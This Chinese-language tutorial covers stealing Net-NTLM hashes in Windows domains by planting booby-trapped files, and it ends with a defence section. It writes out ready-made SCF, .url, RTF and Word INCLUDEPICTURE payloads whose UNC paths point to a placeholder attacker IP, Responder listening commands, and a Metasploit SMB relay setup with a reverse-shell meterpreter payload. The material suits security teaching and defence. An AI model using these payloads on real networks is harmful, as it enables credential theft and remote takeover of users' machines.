浅谈域环境下布置水坑实现hash窃取
字数 1587 2025-08-05 08:19:51
域环境下布置水坑实现Hash窃取技术详解
一、基础知识
1.1 Windows认证机制
NTLM Hash:
- Windows中密码的存储形式
- 生成过程:
- 密码转换为十六进制(如admin -> 61646d696e)
- 进行Unicode转换(610064006d0069006e00)
- 调用MD4算法加密(209c6174da490caeb422f3fa5a7ae634)
本地认证流程:
- winlogon.exe接收用户输入
- 将密码传递给lsass.exe进程
- lsass.exe将明文密码加密为NTLM Hash
- 与SAM数据库中的Hash进行比较认证
1.2 Hash类型区分
- NTLM Hash:存储在SAM数据库或lsass进程中的密码哈希
- Net-NTLM Hash:网络认证过程中客户端发送的response字段
- 细分为NTLM v1、NTLMv2、NTLM session v2三种协议
- 不同协议使用不同Challenge和加密算法
二、水坑攻击技术实现
2.1 SCF文件攻击
SCF文件特性:
- Windows Explorer Command文件
- 可执行有限操作(显示桌面、打开资源管理器等)
- 可通过UNC路径触发网络连接
攻击步骤:
- 创建恶意SCF文件:
[Shell]
Command=2
IconFile=\\攻击机IP\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
- 设置文件共享
- 使用Responder监听:
responder -I eth0
攻击原理:
- 用户浏览共享时自动建立到UNC路径的连接
- Windows尝试使用用户凭证进行认证
- 捕获NTLMv2哈希
2.2 SMB中继攻击
NTLM v2认证流程:
- 客户端发送登录请求(密码hash一次)
- 发送用户名
- 服务器返回16字节Challenge
- 客户端用密码hash加密Challenge生成Response
- 服务器验证Response
中继攻击实现:
- 使用Metasploit模块:
use exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 攻击机IP
run
- 结合SCF文件触发认证
2.3 超链接攻击
实现方法:
- 创建超链接指向不存在路径:
\\攻击机IP\qwe.exe
- 使用Responder监听:
responder -I eth0
攻击特点:
- 类似LLMNR欺骗
- 访问不存在路径触发本地子网请求
2.4 URL文件攻击
实现步骤:
- 创建.url文件:
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\攻击机IP\qwe.icon
IconIndex=1
- 使用Responder监听
注意事项:
- 会触发UAC提示,增加被发现风险
- 需要用户点击文件
2.5 RTF文件攻击
实现原理:
- 利用RTF文件格式的跨平台特性
- 插入恶意内容触发网络连接
文件内容示例:
{\rtf1{\field{\*\fldinst{INCLUDEPICTURE "\\\\攻击机IP\\qwe.png"}}}}
限制条件:
- 需要目标系统安装Word等支持RTF的软件
2.6 IncludePicture攻击
实现方法:
- 在Word文档中使用Ctrl+F9插入域代码
- 添加恶意路径:
INCLUDEPICTURE "\\\\攻击机IP\\qwe.png"
- 保存为XML或DOC文件
三、防御措施
3.1 攻击检测
- 监控异常UNC路径访问
- 检查可疑的SCF、URL、RTF文件
- 关注Responder等工具的监听行为
3.2 防护建议
-
禁用不必要的协议:
- 关闭LLMNR和NetBIOS
- 限制SMB协议使用
-
强化认证机制:
- 启用SMB签名
- 使用Kerberos替代NTLM
-
用户教育:
- 避免点击不明文件
- 警惕异常认证请求
-
系统加固:
- 限制lsass进程访问
- 启用Credential Guard
四、工具使用
4.1 Responder
基本命令:
responder -I eth0
功能特点:
- 监听LLMNR和NetBIOS请求
- 内置多种认证服务器(SMB、HTTP、LDAP等)
- 支持Multi-Relay执行命令
4.2 Metasploit
SMB中继模块:
use exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST <攻击机IP>
run
五、总结
域环境下水坑攻击实现Hash窃取的核心在于利用Windows的各种文件格式和协议特性,诱导系统自动发起认证请求。通过SCF、URL、RTF等文件结合Responder等工具,攻击者可以在不直接交互的情况下获取Net-NTLM Hash。防御此类攻击需要综合技术防护和用户教育,重点在于限制不必要的协议使用和强化认证机制。